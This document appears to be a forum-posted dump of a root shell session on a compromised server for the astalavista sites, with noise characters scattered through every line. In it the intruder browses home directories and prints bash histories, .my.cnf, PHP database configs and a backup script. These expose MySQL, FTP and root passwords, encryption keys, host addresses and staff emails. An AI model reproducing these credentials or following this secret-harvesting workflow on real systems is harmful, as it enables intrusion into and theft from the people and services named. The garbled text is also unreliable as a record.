#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #0 M9 ], ` I3 y, A4 d
# |__| [__ | |__| | |__| | | | [__ | |__| #
& G) Y2 g+ n8 l }9 k6 I# | | ___] | | | |___ | | \/ | ___] | | | #/ S1 I) t$ w* U
# #
* ]) [: U1 f3 ?4 T. q#####################################################
+ d: C" d& \7 F# #
2 S' ~- D, s5 u' q$ p6 \% }# Admin Contact - 链接标记support@secureservertech.com #
6 ]2 J ^7 n4 n2 I7 Z1 [9 a# #
t1 d# \$ o" y5 ~ k: c, x F$ `# Available ShortCuts ## o6 n7 n* L; M+ k. j8 o1 T
# #
& u* n8 P* l! \' u S9 P# nst - list active connections #, h2 @* g: `1 ]: N+ d
# ddos - shows how many times each ip is connected #" k+ n# T, c' E
# ltr - restart the webserver #$ S" }; N2 W) R9 F. Y" y- V
# phpc - edit the php config file #; C2 p+ I8 J2 V! g, N M5 v( |" i3 K
# htc - edit the webserver configuration file #3 {! b& ~5 V, P9 c; f+ q% G
# up - uptime #
4 O7 ~! q& X! Q; W2 j2 j0 P3 p7 U# etd - edit the motd of the day file #
* C! T& C) G! t# htr - start and restart apache if needed #
9 F- |' S- A( c& a) L! |. o) P0 } t# syng - shows active SYN_RECV connections ## b) d% V, S. b* W1 e
# synd - syn flood blocker - “synd -h” for usage #* K+ O0 ?( |3 X8 t
#####################################################
( j% C4 i2 n. I/ O" C# NOTES: #* T& n3 f, q6 L# U) c# _
# Last Upgrade - 12-08-2008 by JF #
. [; c; K5 v" Z; ^! K& Q% l4 T3 F# My.cnf/Mysql Optimization - 1-28-09 #
( Z- p$ O/ j5 e7 P( O# k l8 W# #
6 n3 j1 u' ^+ ~: d3 L# #
+ \- o; S- [+ F9 M, m" K0 U3 z# #! q! }. ]4 i0 U2 n
#####################################################. K9 ?5 r/ s- N4 o$ B0 |+ P
8 z1 _8 _, l y6 Rsh-3.2# lastlog | grep -v Never/ p' i8 P7 z, t7 R
Username Port From Latest
2 Y6 j! Z7 X2 J* p# Wroot pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009
, A' w- O) I' l# x4 x2 B# M2 l! Dadmin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008
% P0 E" r0 d. I8 N" Y1 @com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 20099 q$ `; P$ s1 X
astanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009" Y% C6 ^4 q5 k/ x# ?
) P, H. u4 z$ d" v1 I
sh-3.2# ls -la
6 S9 q, W. T! E; s3 V! n+ ]total 453376
6 O2 e+ |1 ]# k z9 rdrwxr-x— 15 root root 4096 Jun 4 08:40 .
- R2 I- U& s, odrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
# t! C7 B$ u A' E4 ^ X% Z3 ^-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip m) l' M u( ?( o% Z* b3 S: m i
-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
6 X2 i0 S4 C5 e. x2 M2 a2 _# D-rw——- 1 root root 16836 Jun 4 07:21 .bash_history
+ o+ L) ^# T' {7 o+ y-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout' }& {( A/ ~- X8 S2 Q
-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile2 ]& y! U' m' w# z# V: A$ j
-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc
! i& C2 e" v7 V-rwx—— 1 root root 1899 Oct 28 2007 bk.sh
* g+ g7 X. R& T# V; C-rw-r–r– 1 root root 1327 Nov 29 2007 cert! y6 C% I! u, Y. M/ n3 P$ ~
-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql# O4 a+ b: M6 R0 Q$ m
drwxr-xr-x 4 root root 4096 May 20 2008 .cpan; y9 f( p3 a, x3 m
-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc( j0 _8 B7 Z/ g- j8 g4 }: l8 Q
-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
3 W) R3 A8 `: x5 i: fdrwx—— 2 root root 4096 Oct 28 2007 .elinks
5 r" m6 h E. Z/ }9 Kdrwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1
- v! f8 E H* c, G4 {-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2' V" I; P# `! J' A
-rw——- 1 root root 0 Apr 16 13:19 .history
6 a7 v3 ]9 b5 Q8 b e' }; y-rw-r–r– 1 root root 16095 Sep 11 2007 install.log
/ s$ s7 Q5 f3 N# {9 a-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog
+ n' D9 U6 K: x: i0 |-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh
) p$ k3 w8 N4 J- A6 v* l6 a! k-rw——- 1 root root 35 Jun 2 14:23 .lesshst: ~$ {# Y. U+ l" f2 d- ~- R& h
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp( M: R# N, O9 J( t( G
drwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec
0 w+ V5 o1 F& F" Q, y-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz9 W4 N" T+ O( V: ^ M! Q6 N: ?
-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2
" z) U4 N. c7 X-rwx—— 1 root root 760 Sep 18 2008 lp$ o4 C) @; N9 W3 H/ G
drwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1
* u. f2 r) A4 F/ {4 F# G% {( l, I9 B-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz$ T3 W: { V) Y
-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1. ~6 Q, s+ u: _) P) O7 u
drwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9* N/ h+ m4 }$ @. _4 H+ n+ y- v# M
-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz. @$ J* W5 W3 o/ T" e0 _9 W2 {
drwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3& W7 d* ]6 `5 {0 D! E
-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz9 s! p7 m0 }4 ^3 e6 [' J
-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh
i2 N8 B( }( a \0 R% X-rw——- 1 root root 41 Oct 19 2007 .my.cnf
5 |+ n. W) R5 @0 n# A-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history
; O; j }8 ^8 [9 U-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport
+ a$ e, T, C+ g5 y% D" T8 f" \) r-rw——- 1 root root 41 May 20 2008 .mytop
: I. |, ^9 g: B5 gdrwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6( F; @- D3 c% P) v( x
-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz
: _5 K! o6 ]% k. J6 ddrwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp/ J% C# Q! F6 d3 Y% V! \5 N
-rw——- 1 root root 1462 Sep 21 2007 opt.php
! z6 O: ]4 R) e, _-rw-r–r– 1 root root 3371 Sep 22 2007 p
+ E7 y% S8 ?' o. D4 K, ~3 F-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz2
& h* ?# o u7 R1 G& v: U. M-rw——- 1 root root 1024 Feb 3 21:32 .rnd
1 x; f o; Z; X s-rw-r–r– 1 root root 716 Nov 28 2007 server.csr8 l, E. E) |+ R8 z$ Y, S k1 ?
-rw-r–r– 1 root root 887 Nov 28 2007 server.key5 `% u$ C5 |/ E4 A8 Z% [
drwx—— 2 root root 4096 Oct 10 2008 .ssh6 U- _! E$ N! f0 \ @
-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
7 N& G4 c2 [2 Y9 ^8 k-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc
7 S' [3 [1 \: j; i @4 v-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip
6 S: `2 x6 I, n8 C# J2 P6 v-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1- d+ ?( e6 n/ m8 V9 B
drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp; F* T3 S4 T/ ~4 R! m9 J
-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh
6 L+ B) K: _- r# S& h7 D9 adrwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
X6 }- Z! y3 [" C. O* G& h-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
) D& d, C7 o( H+ f& ]4 G9 f3 K-rw——- 1 root root 12997 May 16 2008 .viminfo( ~0 v' s, H; r5 ^+ Q# g% M9 @& U
+ Z) \) Y: X2 E, L! M& }. xsh-3.2# cat .bash_history
, l( M |$ k# E% w5 c[snip]
0 Q5 u! p3 `5 h3 z: t; ^8 }& Uwget cp4sst.com/sstlinux.tar.gz
- r! C* [# u! h$ G" z3 Dtar zxvf sstlinux.tar.gz
+ s+ }' ~2 u- dcd linux-2.6.27.10. b7 W3 q( S0 K, [" A8 N, ?' S
sh install.sh
- C- j N/ Y! p' B. M2 Hmake bzImage ; make modules ; make modules_install ; make install
' ^ k2 T3 D# }5 H+ xmake clean- h2 F; I9 X! H: H% ]
service mysqld restart
& ?3 L: W* {/ @- q9 x- B# s8 Y[snip]: u c. ^: k3 ^ U' [
cd /usr/sbin/
# ?0 [9 v. S4 P7 }! q' ~chmod 4777 traceroute' w2 u: Z* i" G- l5 M5 `
chmod 4777 ping
6 P" q( u" r! b" G0 C7 P" a& T& H+ Vtraceroute -I 链接标记[url]www.astalavista.ch[/url]: C- O- `+ V6 S3 z* J
[snip]5 b7 k: H7 O. k( T' N8 e( K) }
vi /etc/csf/csf.conf1 v& f; D$ m; y2 }& O- u
traceroute google.ch4 c! E3 C: `8 u; f. V% f$ f4 h2 Q
service csf restart, {; ]. K7 a: D+ I+ e
tracert google.ch# @/ ?( c9 X1 D* `* d5 l2 K9 z
service csf restart$ D. }; Y+ L4 {
traceroute 链接标记[url]www.google.ch[/url]+ k% ?% F# ?. c& {) t. X0 A
tracert 链接标记[url]www.google.ch[/url]! l, G- g8 O- v) _7 o
traceroute 链接标记[url]www.google.ch[/url]
) D7 U% D0 b, n/ I3 W6 |6 H* a" zlocate traceroute
1 q2 {# ^2 I" G: |. `/ o kchown 4755 /bin/traceroute
% m- B7 V6 K+ V4 u/ x/ U$ x# cchown 4777 /bin/traceroute- W& s5 `( p* i9 t9 C3 u
locate ping' h; ], t G! P
chown 4755 /bin/ping
& G; {$ w4 d6 w/ uchown 4777 /bin/ping& r# Y' X- C: ]. n. ?
cd /bin/
' ^5 p8 V. b; L, z( H$ ?# ^ls -ali | grep ping* \7 j4 V1 C. z$ t
chown root ping& X/ y7 S# W6 X
chmod 4755 ping
2 U! [8 Q8 m0 ]1 s* y; \ls -ali | grep traceroute! c4 ]5 F/ ?9 k
chown root traceroute' X7 g+ t. j: X
chmod 4755 traceroute
" y1 S: H& N/ [7 w' P$ y. g7 els -ali | grep traceroute/ n8 A7 { l; k. l* I! `
traceroute -I 链接标记[url]www.google.ch[/url]
7 w0 ]. x7 M3 J, V0 H7 C. jtraceroute 链接标记[url]www.google.ch[/url], ~/ T9 ^1 Q# k! T# o' t8 r
whois pmsantos.ch
1 d* Y' [2 R& g) I7 Z3 Z[snip]
6 J5 `7 L5 j. [mysql -h com_contrexx2_live < /root/defaultp_ports.sql2 x4 ?' h/ G) H& t# D e9 A
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql7 I4 a6 o& Y# x( V0 x3 ^7 f
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql/ g$ O9 H4 D7 i4 m2 R4 u" k. g" Z, l
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql; F2 Z0 e2 F" m* P: f2 K
top
+ l# {( p- p0 z: T# A7 Lping ssth.ch+ E( v1 @+ s" O5 F$ Z$ z( A9 l1 G
ping asdlkfaljgasd???ljg???lasj.ch1 p9 P! i9 P8 i, Y$ S) ], c- ~
ping asdlkfaljgasdlasj.ch/ A- j$ s8 j; u+ p y. m
ping 链接标记[url]www.ssth.ch[/url]3 f- Z( u' P: |1 ]" ~* p2 ?
ping ssth.ch3 R2 h1 e5 _( o
nslookup 链接标记[url]www.google.ch[/url]( P' m- Y; A$ F- v: A- w
nslookup 链接标记[url]www.ssth.ch[/url]
4 R3 b7 V& `6 Fman nslookup% Z3 y6 |: Z% h4 x+ _
ping 链接标记[url]www.google.ch[/url]$ h* g" f! s3 \7 z- b: w
nslookup 链接标记[url]www.google.ch[/url]
& S9 x3 P0 @) S6 ynslookup 链接标记[url]www.google.ch[/url]8 K1 l6 c+ x0 o) ?8 e
nslookup salfjasdlf.ch# C2 O. D3 M7 M4 `1 P& \
[snip]0 ]4 U, w: O6 L5 h C: \5 H
openssl passwd -1 sadf
( N/ f; X( H6 Q! M _; ]% q9 ^2 m# Yopenssl passwd -1 5cZNHstdTy
& V! y5 d8 @" H+ _/ Smysql" h1 s9 ~5 I J1 r( f" W
mysql1 C b6 e+ S9 U; D% G2 q" Q
locate proftp" A3 X& B6 m2 @# k; c
vi /etc/proftpd.passwd
7 ?' f) q2 a6 U4 Q( Oservice proftpd restart7 c0 M. U3 `$ A) t
locate proftpd.conf
+ s. Z8 h9 @/ h% w1 Hvi /etc/proftpd.conf& ]) g% B |% N" l5 p
vi /etc/proftpd.passwd! F& r! a' G. @
service proftpd restart
! `) o& p7 d+ e* {% h# l[snip]
+ w! E% a. ~- ]0 c% q. L9 t8 `/bin/sh /home/com/backup_system/backup.sh
/ ]/ t3 m, E% x, Y3 htar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
% U9 o2 J& O7 j3 a& Z `+ D( zmysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql0 e# r1 X# |- [2 r0 n1 g* ^4 P( y/ R
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
% q5 X) E- ^* u$ vls -ali
( S3 F4 p/ G9 r) ~mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
% o1 o i! L+ t! ]mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
+ f( b. L% ]0 Rcrontab -l
( g/ N9 C2 X7 w4 w/ c8 @crontab -l
; T2 c! f5 |1 Q. e( }php -q /home/com/public_html/modifications/cronjobs/securitynews.php" P# ?' ~* S& ?7 W) S
/home/com/public_html/modifications/cronjobs/exploits.sh
7 A, W8 r% ~6 }3 t+ p- lwget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]
- r& l7 L2 A9 Z, Rtar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz( S }7 S" r! i! r' J* V4 B9 ~- l6 D
cd lsws-4.0.3, P; g# r) `( }0 @$ a4 T r
sh install.sh
- e/ e5 o- P4 }& k5 puptime9 v( c: Q. ^) b
hdparm -tt /dev/sda# T- g$ l) [; b
iostat
7 S' i' Y; ^" J& F! F3 g) jyum install iostat
% R' R+ K- O$ j9 G# ?iostat
& v% o- e% U: v4 J% jwhereis iostat
' Z% {. Y" j7 n7 F, t4 qyjm clean all6 l) d6 X5 a1 I& e
yum clean all ; yum -y update3 U( }+ Y! \4 S g0 k
iostat- a% }( J: l y! _ H; i
yum install systat
) _2 o9 t- m9 I. frpm -qa | grep iostat
; [! T4 w# j/ ]" p! L( Mrpm -qa | grep sysstat
2 P: C2 I- ^# D& H: Prpm -qa | grep systat
- d% w. o- `9 f* U7 ^9 Wdmesg -c
- y2 X0 X) @: u/ [2 s$ M& D1 lsysctl -p. i5 }1 Y" P- E, ~ `+ s' A
uname -r
9 {! _6 m# _: k" e- l" Q1 c3 Ycd /usr/src
, }) d1 O3 |: y4 Wwget nix101.com/kernels/sstlinux.tar.gz9 M& E' N: }0 S" X4 ` j
shutdown -r now. k' L" K! Q" q9 `! P2 x
nano -w /boot/grub/grub.conf
- E, Q3 ] |- P3 u4 ?$ I" C, d0 [0 }, ^
sh-3.2# cat .my.cnf
: {1 O, o+ K/ |' F8 W[client]
8 w& x, m3 _& _user=da_admin
: _, q8 a2 A8 q0 m& l. i( B4 bpassword=X9dctmRH
9 F# p$ X9 z% m3 t
' X: i ?& `! T9 V, G( E( s. d. \sh-3.2# cat /home/com/backup_system/backup.sh
$ d# f+ \5 i! ?#!/bin/sh, W$ C& I3 q; _+ O7 C9 d
#####################################################################! V8 k o* Z: ]$ @
# #5 |. p5 Z8 A# I, S
# incremental backup for astalavista.com #
9 l* Z0 ?- p, n8 G( i2 z# #
8 |5 v8 W/ e) k( X" Y4 H4 D# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #+ r, H+ [. Y+ W& x2 d3 q' U
# #
0 q1 t& `( `% W3 C7 d9 k) m y#####################################################################
8 ~5 i# L1 q9 w/ }0 P" I1 ^[snip]# c& E! W" k" w6 Z# d9 M) F" z
PROG_DIR=”/home/com/backup_system”;
2 t. O: p+ M9 I; Z* M5 B, U' R; pBACKUP_DIR=”/home/com/backups”;
; q. {( |4 y$ r" Z. o, x% M! Q( uDOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;' G4 Q: ` _2 Q0 f; s
# ftp for synology backup server9 I: t, f4 `$ c- G# i
FTP_HOST=”212.254.194.163″;8 b( n4 v0 Q+ `3 \3 `
FTP_PORT=”21″;
. ^2 B1 f! x3 a& a0 `FTP_USER=”astalavista.com”;
w: P. v3 p& H- W# ~* I( vFTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;: V/ V2 {2 r' @6 K3 `
FTP_DIR=”/astalavista.com”;, }( A5 n& w6 }: H0 g
# database
/ U& t8 f* Z/ L B S/ U( q' h- ZDB_HOST=”localhost”;
0 e, h" w0 ^8 _7 i/ S; S/ {DB_USER=”contrexxuser2″;' [, ?! F$ i3 l- v" _; q
DB_PASS=”0fEYNZgXz1pKe”;
% K" \0 W( K' b" w& `# ODB_DATABASE1=”com_contrexx2_live”;
8 W" I$ M C- VDB_DATABASE2=”com_contrexx2″;
' [; N9 a4 X" _# T1 c( q[snip]
7 ]2 E N$ z, [. u/ Yftp -in $FTP_HOST $FTP_PORT <<EOF% n# h$ s! g8 o* Z3 ]4 P9 T) n, b; o
quote USER $FTP_USER( V, X/ g$ S$ W5 b$ e, f
quote PASS $FTP_PASS/ R5 v- K" }: H( X* w, H
cd $FTP_DIR, @ @& S1 F3 g# v
put $DB_FULLNAME-SQL_Dump.tar1 d0 s( t$ N1 F2 }! d4 X
put $BACKUP_FULLNAME-Public_HTML.tar7 V7 P% h0 |. o' e5 i: t) Q/ i u
close) B3 ?4 K1 y9 V) J+ Y
bye
0 R' @3 k6 r. b% L+ }EOF8 w! b5 ^3 S9 R& B( m
& q' Y. P6 {- O3 {8 ^
sh-3.2# cd /home0 I6 ^# m5 x. q6 L/ a
sh-3.2# ls -la
; T0 f) s# ~$ w n9 n3 u% Ftotal 1207 B9 i6 q6 Z2 s+ X- C5 \4 T
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .: e3 X( u( g% H/ R5 ^! t0 t2 ]
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..1 o- [0 J, q( U. S: K/ P b
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin
, T: Q$ @0 g! _4 S) R2 I-rw——- 1 root root 8192 Jun 4 03:03 aquota.group; \5 {* z6 O4 @$ ]+ F
-rw——- 1 root root 8192 Jun 3 02:45 aquota.user6 J1 I/ l& \% |" K- E4 t
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet6 V! o7 x: u# ?( @4 x
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
1 g e/ M6 A. @3 gdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161! w* r5 n9 ^" S+ B" R9 i8 n
drwx–x–x 10 com com 4096 Apr 28 12:40 com
M) Y8 b. }; b$ Zdrwxr-xr-x 2 root root 4096 May 17 2007 ftp" k9 }5 z$ X& R% n
drwx—— 3 jon jon 4096 Sep 21 2007 jon
' Y: T4 O% R1 F8 D6 U* Z$ ], _drwx—— 2 root root 16384 Sep 11 2007 lost+found# F+ C$ h& V6 e: _( d7 p
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
2 N+ T/ ~5 h( S( r+ x# qdrwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
9 Z% M5 ]% ~* D/ l1 vdrwx—— 2 jon jon 4096 Sep 15 2007 test' C5 M+ X8 ~9 n7 r
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
' T& I) l9 y. g7 G
' Z, `+ _/ G- a4 v5 }, j; Tsh-3.2# cd admin+ i4 C- R, J& l
sh-3.2# ls -la
4 b" e+ k. J; H0 K2 R7 Xtotal 1735896
3 B9 j: Z' k s) x+ d! Z* |drwx–x–x 9 admin admin 4096 Nov 28 2007 .
+ \: e4 |% D J0 ddrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
o1 ^) Z* J/ _drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups, h5 P5 P2 X- V1 A+ }! H
drwx—— 2 admin admin 4096 Sep 28 2007 backups3 x9 R/ q( g1 T) J+ T& F
-rw——- 1 admin admin 860 Sep 17 2008 .bash_history5 N! _3 y8 k( K1 R
-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout
3 D( L: q0 {4 i/ N-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile
, R, O$ t+ }& B/ A4 C-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc
9 O: [4 N( Z, w$ N: {& i$ K4 O( hdrwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups' Q4 f1 W i D2 }
drwx–x–x 6 admin admin 4096 Sep 21 2007 domains/ {) E, a4 _! F
drwxrwx— 3 admin mail 4096 Sep 21 2007 imap7 E3 x1 h. j1 D8 q" q" d" @' h
-rw-r–r– 1 root root 24 Sep 21 2007 info.php5 j4 L( u/ B& L+ c6 s
drwx—— 2 admin admin 4096 Sep 21 2007 mail
6 J# H& h. T4 ]4 `1 H$ i0 `-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
) K; h- ~ ~! w5 `-rw-r–r– 1 root root 887 Nov 28 2007 server.key
8 n+ H7 R8 K- S-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow, G/ H2 S o5 a5 i1 b/ q
-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz( a3 |8 C: Q N6 g; c2 \2 i9 Z
drwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups6 n( T0 K/ X( J0 `# `" D* B
7 p. f' P( h1 r/ ksh-3.2# ..
* q9 X' k1 I* b* j$ }sh-3.2# cd jon p; R& v) C: @8 [' v0 Z
sh-3.2# ls -la
/ j- X% P E9 o9 Itotal 36) X. R( n: l/ L* z
drwx—— 3 jon jon 4096 Sep 21 2007 .
4 K: g i* U6 Gdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..! n5 z; k# G( m5 ^" _) e# ?
-rw——- 1 jon jon 53 Sep 21 2007 .bash_history
& j m9 f- J( Q/ ]7 p-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout
4 o- e( O9 x. h+ K7 u1 s P-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile
+ ~; }) y U3 k* x8 h" `0 _# ]! k-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc( w9 p; c; O% O8 ^4 E
-rw-r–r– 1 root root 24 Sep 21 2007 info.php- @: W$ ?+ u( W! ]1 g' E$ u
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
+ w M0 @8 n9 c# r/ P3 p) U8 y* X( f7 E3 n
sh-3.2# cd ..6 h! r }% s3 U! K. L* ^0 s. R' _
sh-3.2# cd test
1 E7 ]( _# K$ L/ a2 g( u9 Zsh-3.2# ls -la& m5 L3 Y5 p4 q) l5 @9 F
total 48
. Y( _9 G. C& c/ g/ r' Gdrwx—— 2 jon jon 4096 Sep 15 2007 .
( Y) ?1 U' O1 v4 idrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
7 A# v2 ~! A* `- }-rw——- 1 jon jon 79 Sep 21 2007 .bash_history8 v! j/ D) J% d
-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout$ H; Z4 Z H3 D& f" l& }; ?8 \1 ^% e# I
-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile9 p' K/ ?# z+ M, H
-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc. B3 \' k& h/ l
sh-3.2# cat .bash_history) m h+ x, u5 R p$ J3 y. B
/usr/bin/mysqladmin -u root password PoliuJhytg67
+ S3 K1 q6 }9 R
% p1 P! K5 j. Z$ a2 r# fsh-3.2# cd ..6 r/ T N! k5 j7 F$ l2 U
sh-3.2# cd astanet& w. U# k/ o3 \& X2 ?$ [8 p
sh-3.2# ls -la
6 S3 f0 i; e* Rtotal 52
( L) _! J" o& {$ u- q1 sdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .
- s$ o; [2 E0 }+ m) ^2 [drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
& v5 N+ f. M% L; F* ?' c6 Bdrwxr-xr-x 2 root root 4096 Dec 23 16:00 auth# C3 |7 |' w2 X) t
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history& ?, g( C6 Q+ M; w: I" u
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout* Y1 A, l2 G$ l0 J' X9 i
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
r/ O. q9 K- y; P# j7 M-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
4 b3 h8 m. R( m6 ~& l. {drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
# @+ i3 G M5 jdrwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
- V! H% e( q% {* M% \# B6 P9 _0 Ndrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
# S/ g, S! J0 V-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history
8 \0 W7 `: W& alrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html3 k7 w* H; C; Y: r' M
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow4 R8 E' @' G; K a* m0 [1 k
$ t3 k. H8 T) d/ S/ J
sh-3.2# cd auth/
% U# N2 }7 [) C4 ^sh-3.2# ls -la/ b4 A8 X0 C& _/ A1 F: }9 ]
total 28
: \* M8 ~6 q+ v- udrwxr-xr-x 2 root root 4096 Dec 23 16:00 .
, c+ P- p+ n, h! V- X9 \/ ndrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..
1 T+ x i; ^$ a9 o* G-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php% P) P c! P$ U: _7 {9 X- ?& o
-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php
; p! @/ p% e3 x$ s-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd' {$ J& ?) j4 ^) A' r. h; l
-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting
/ ?2 I+ y" r2 V; S( u0 T5 k/ j-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd9 ] B. h, C9 W; L( \$ P
7 c* s- V/ X8 r* B; Y3 M: g" ^5 zsh-3.2# cat hackercontest.config.inc.php
6 Z6 n9 W8 O }- R: u" |<?PHP) B9 Y3 e w4 y& P! r/ g
// Variabeln f?r Verbindung zur Datenbank //
( W6 X. v' M b% B" M5 x$conxHost = ‘localhost’; // MySQL hostname
; j1 e. c6 K8 M& D* I; q$conxUser = ‘hackercontest’; // MySQL user
( H0 m6 N, M- O( @$conxPassword = ‘K6m@7dUc’; // MySQL password
2 V; F! c0 x: m4 c9 s6 k8 m$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish, C3 \: [" ^ p. e7 P9 a" H
?> J9 ?- ^/ R3 c( ~6 e! L
sh-3.2# cat hosting.config.inc.php
0 ~# L5 u0 q' o- v5 K# x- ~/ q" u. E<?PHP
! J" U( J( t# A7 m// Variabeln f?r Verbindung zur Datenbank //
+ ~! y6 j ^& f- p8 D; D1 W0 z$conxHost = ‘localhost’; // MySQL hostname+ U) q: y, X- j: |" f
$conxUser = ‘hostinguser’; // MySQL user: l# ^5 y7 L- g# {/ p9 v, u
$conxPassword = ‘cXvB3981′; // MySQL password
. r8 w8 r) {9 B5 Z$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish- x" ]" g, K: [& s
?>2 s F8 N/ G0 E- E% v5 w! j
; W- }( S0 G) d" N b
sh-3.2# cd ..
5 ]' e5 N5 ]) [9 t9 t$ `' N/ Nsh-3.2# cd com
: A* O1 f5 H( [4 [- u; j1 k" D+ `- Ksh-3.2# ls -la
/ c4 ~( }1 o* t$ v( ltotal 141208
2 ^: V5 H4 y6 N& s, M; x* r+ ^drwx–x–x 10 com com 4096 Apr 28 12:40 .- g8 e+ x. U0 s, o8 U; j& u
